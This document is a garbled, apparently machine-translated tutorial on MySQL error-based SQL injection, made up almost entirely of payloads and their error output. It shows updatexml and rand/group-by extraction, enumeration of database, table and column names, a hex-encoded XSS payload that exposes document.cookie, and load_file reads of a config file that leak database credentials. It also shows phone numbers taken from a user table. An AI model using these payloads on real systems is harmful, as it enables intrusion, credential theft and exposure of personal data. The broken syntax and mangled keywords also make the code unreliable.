MySQL based on an "error" injection

How does an error turn into XSS?

MySQL Statement on the page error, leaking information ============================================================================================= ============================================================================* error Mode "Updatexml", there is a word limit, but do not need to cooperate with union. -mysql> Select Updatexml (1, concat (': ', ' Test '), 1); Error 1105 (HY000): XPATH syntax error: ': Test '-mysql> Select Updatexml (1, concat (0x3a, ' Test '), 1); Error 1105 (HY000): XPATH syntax error: ': Test '-mysql> Select Updatexml (1, concat (0x5e, ' Test '), 1); Error 1105 (HY000): XPATH syntax error: ' ^test '-mysql> select * from F_user where id=1 or 1=updatexml (1,concat (0x5e, ' Test '), 1); Error 1105 (HY000): XPATH syntax error: ' ^test ' * * Change the above ' test ' to your subquery or function. *group By+rand (0) +having, no word limit, no need to cooperate with union. -mysql> SELECT * from F_user where id=1 or 1 group by CONCAT_WS (0x7e,version () and Floor (rand (0)) have min (0); Error 1062 (23000): Duplicate entry ' 5.6.21-log~1 ' for key ' group_key ' * error mode "Rand+count+group by", need to cooperate with Unionrand (0) No matter how many times the machine is running, the generated sequence is the same reference to the MySQL developer community exposure bug HTTp://bugs.mysql.com/bug.php?id=8652-mysql> Select 1,2,count (*), concat (' Test ', char (0x5e), Floor (rand (0) *)) x From Information_schema.tables group by X;  ERROR 1062 (23000): Duplicate entry ' test^1 ' for key ' Group_key '-mysql> select 1,2,count (*), concat (' Test ', char (0x5e), Left (rand (0), 3)) x from Information_schema.tables Group by X; ERROR 1062 (23000): Duplicate entry ' test^0.7 ' for key ' group_key ' * * Replace the above ' test ' with your subquery statement or function. MySQL Turn XSS statement mysql> Select 1,2,count (*), concat ((select 0x2f3e3c696d67207372633d226675636b22206f6e6572726f723d616c65727428646f63756d656e742e636f6f6b6965293e), char ( 0X5E), left (rand (0), 3)) x from Information_schema.tables Group by X; ERROR 1062 (23000): Duplicate entry '/>^0.7 ' for key ' Group_key ' Direct explode profile password, provided that there is file permission Mysql>select 1,2,3,updatexml (1,concat (char), substr (Load_file ( 0x2f616c69646174612f7777772f66616e676a69616e676a756e2f4170706c69636174696f6e2f436f6d6d6f6e2f436f6e662f64622e706870 ), 150,40), 1); ERROR 1105 (HY000): XPATH syntax error: ': ' db_name ' = ' fan******un ', ' mysql> select 1,2,3,updatexml (1,concat (char (5 8), substr (Load_file ( 0x2f616c69646174612f7777772f66616e676a69616e676a756e2f4170706c69636174696f6e2f436f6d6d6f6e2f436f6e662f64622e706870 ), 200,40), 1); Error 1105 (HY000): XPATH syntax error: ': ' db_user ' = ' s*********b ',/' mysql> Select 1,2,3,updatexml (1,concat (ch AR (+), substr (Load_file ( 0x2f616c69646174612f7777772f66616e676a69616e676a756e2f4170706c69636174696f6e2f436f6d6d6f6e2f436f6e662f64622e706870 ), 250,40), 1); Error 1105 (HY000): XPATH syntax error: ':P wd ' = ' hahahaahhah ', ' exploded version mysql> select 1,2,3,4 Union SELECT DISTINCT C Oncat ((select version ()), Floor (rand (0)) A, count (*), 3,4 from Information_schema.tables group by A; ERROR 1062 (23000): Duplicate entry ' 5.6.21-log1 ' for key ' Group_key ' Explosion library name mysql> Select info (); ERROR 1305 (42000): FUNCTION fangjiangjun.info does not existmysql> select COUNT (*), (concat ((select Database ()), Cha R (0x5e), floor(rand (0) *)) ) x from Information_schema.tables Group by X; ERROR 1062 (23000): Duplicate entry ' fangjiangjun^1 ' for key ' group_key ' exploded table name mysql> Select Concat ((SELECT DISTINCT table _name from Information_schema.tables limit 0,1), char (0x5e), Floor (rand (0) *)) x, COUNT (*) from Information_ Schema.tables GROUP by X; ERROR 1062 (23000): Duplicate entry ' character_sets^1 ' for key ' Group_key ' mysql> select Concat ((SELECT DISTINCT Table_ Name from Information_schema.tables limit, char (0x5e), Floor (rand (0)) x, COUNT (*) from Information_schema.tables Group by X;  ERROR 1062 (23000): Duplicate entry ' collations^1 ' for key ' Group_key ' mysql> select Concat ((SELECT DISTINCT table_name From Information_schema.tables limit 2,1), char (0x5e), Floor (rand (0) ×)) X, COUNT (*) from Information_schema.tables Grou P by X; ERROR 1062 (23000): Duplicate entry ' collation_character_set_applicability^1 ' for key ' Group_key ' mysql> select Concat ((SELECT DISTINCT table_name from information_schema.tables where table_schema= ' Fangjiangjun ' limit 0,1), char (0x5e), Floor (rand (0) ×)) X, COUNT (*) from Information_schema.tables Group by X; ERROR 1062 (23000): Duplicate entry ' f_admin^1 ' for key ' Group_key ' mysql> select Concat ((SELECT DISTINCT table_name FR Om information_schema.tables where table_schema= ' Fangjiangjun ' limit, char (0x5e), Floor (rand (0) *)) x, COUNT (*) From Information_schema.tables group by X; ERROR 1062 (23000): Duplicate entry ' f_admin_role^1 ' for key ' group_key ' burst field name mysql> Select Concat ((select distinct COL Umn_name from Information_schema.columns where table_schema= ' Fangjiangjun ' and table_name= ' f_user ' limit 0,1), char ( 0x5e), Floor (rand (0) ×) x, COUNT (*) from Information_schema.tables Group by X; ERROR 1062 (23000): Duplicate entry ' id^1 ' for key ' Group_key ' mysql> select Concat ((SELECT DISTINCT column_name from Information_schema.columns where table_schema= ' Fangjiangjun ' and table_name= ' f_user ' limit, char (0x5e), Floor ( RAND (0) *) x, COUNT (*) from infoRmation_schema.tables GROUP by X; ERROR 1062 (23000): Duplicate entry ' login_time^1 ' for key ' group_key ' burst field value mysql> Select Concat ((select Mobile_phone f Rom Fangjiangjun.f_user order by ID of limit 0,1), char (0x5e), Floor (rand (0) *)) x, COUNT (*) from Information_schema.tables g Roup by X;  ERROR 1062 (23000): Duplicate entry ' 18602029479^1 ' for key ' Group_key ' mysql> select Concat ((select Mobile_phone from Fangjiangjun.f_user order by ID limit, char (0x5e), Floor (rand (0)) x, COUNT (*) from Information_schema.tables Grou P by X; ERROR 1062 (23000): Duplicate entry ' 15602267509^1 ' for key ' Group_key '

　　

MySQL based on an "error" injection